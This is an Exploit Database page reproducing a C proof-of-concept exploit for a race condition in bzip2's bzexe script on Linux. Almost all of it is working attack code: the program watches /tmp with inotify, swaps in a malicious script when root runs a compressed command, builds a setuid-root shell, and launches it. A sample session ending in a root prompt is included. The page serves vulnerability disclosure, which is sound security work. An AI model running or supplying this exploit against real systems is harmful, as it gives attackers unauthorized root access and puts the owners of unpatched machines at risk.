bzexe (bzip2) – Race Condition

• Exploit Database
• 14 阅读

• 作者： vladz
  日期： 2011-11-23
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/18147/

• /* bzexec_PoC.c -- bzip2 (bzexe) race condition PoC
  
   Author:vladz (http://vladz.devzero.fr)
   Tested on: Debian 6.0.3 up to date (bzip2 version 1.0.5-6)
  
   This PoC exploits a race condition in the bzexe script.This tool is
   rarely used so I wasn't supposed to write an exploit.But some people
   on the full-disclosure list had doubts about this exploitation.Public
   discussion about this issue started from this post:
   http://seclists.org/fulldisclosure/2011/Oct/776.
  
   I am using Inotify to win the race (on my dual-core, it succeed 100%).
  
  Usage: ./bzexe_PoC <command_name>
  
   For instance, if "/bin/dd" has already been compressed with bzexe,
   launch:
  
  $ ./bzexe_PoC dd
  [*] launching attack against "dd"
  [+] creating evil script (/tmp/evil)
  [+] creating target directory (/tmp/dd)
  [+] initialize inotify
  [+] waiting for root to launch "dd"
  [+] opening root shell
  # whoami
  root
  */
  #define _GNU_SOURCE
  #include <sys/inotify.h>
  #include <stdlib.h>
  #include <stdio.h>
  #include <unistd.h>
  #include <sys/syscall.h>
  #include <sys/stat.h>
  #include <sys/types.h>
  #include <string.h>
  #include <fcntl.h>
  
  
  int create_nasty_shell(char *file) {
  char *s = "#!/bin/bash\n"
  "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"
  "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"
  "chmod 4755 /tmp/sh; rm -f ${0}; ${0##*/} $@\n";
  
  int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
  write(fd, s, strlen(s));
  close(fd);
  
  return 0;
  }
  
  
  int main(int argc, char **argv) {
  int fd, wd;
  char buf[1], *targetpath, 
   *evilsh = "/tmp/evil", *trash = "/tmp/trash";
  
  if (argc < 2) {
  printf("usage: %s <cmd name>\n", argv[0]);
  return 1;
  }
  
  printf("[*] launching attack against \"%s\"\n", argv[1]);
  
  printf("[+] creating evil script (/tmp/evil)\n");
  create_nasty_shell(evilsh);
  
  targetpath = malloc(sizeof(argv[1]) + 6);
  sprintf(targetpath, "/tmp/%s", argv[1]);
  
  printf("[+] creating target directory (%s)\n", targetpath);
  mkdir(targetpath, S_IRWXU|S_IRWXG|S_IRWXO);
  
  printf("[+] initialize inotify\n");
  fd = inotify_init();
  wd = inotify_add_watch(fd, targetpath, IN_CREATE);
  
  printf("[+] waiting for root to launch \"%s\"\n", argv[1]);
  syscall(SYS_read, fd, buf, 1);
  syscall(SYS_rename, targetpath,trash);
  syscall(SYS_rename, evilsh, targetpath);
  
  inotify_rm_watch(fd, wd);
  
  printf("[+] opening root shell (/tmp/sh)\n");
  sleep(2);
  system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");
  
  return 0;
  }